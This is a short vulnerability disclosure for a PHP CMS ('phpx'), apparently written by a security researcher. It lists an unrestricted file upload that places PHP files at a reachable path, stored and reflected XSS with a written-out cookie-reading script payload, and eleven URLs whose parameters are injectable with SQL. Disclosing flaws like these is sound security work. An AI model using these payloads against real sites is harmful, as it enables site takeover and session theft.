avatar upload vuln:
http://site.com/phpx/gallery.php?action=addImage
you can upload any kind of file in the gallery.
your file gone be refused by the script but it will be located here : 
http://site.com/phpx/gallery/shelties/your_filename.php  ;)

xss permanent :
dans profile:
-signature

xss non permanent in search.php :
</textarea>'"><script>alert(document.cookie)</script>

multiples error sql :
http://site.com/phpx/gallery.php?action=viewImage&image_id='
http://site.com/phpx/news.php?action=view&news_id='
http://site.com/phpx/news.php?news_cat_id='&action=view_cat
http://site.com/phpx/users.php?action=view&user_id='
http://site.com/phpx/news.php?news_id='
http://site.com/phpx/forums.php?cat_id='
http://site.com/phpx/forums.php?forum_id=1&topic_id='
http://site.com/phpx/forums.php?forum_id=1&topic_id=1&post_id='
http://site.com/phpx/news.php?action=view_cat&news_cat_id='
http://site.com/phpx/gallery.php?action=viewCat&cat_id='
http://site.com/phpx/print.php?action=news&news_id='

regards laurent gaffié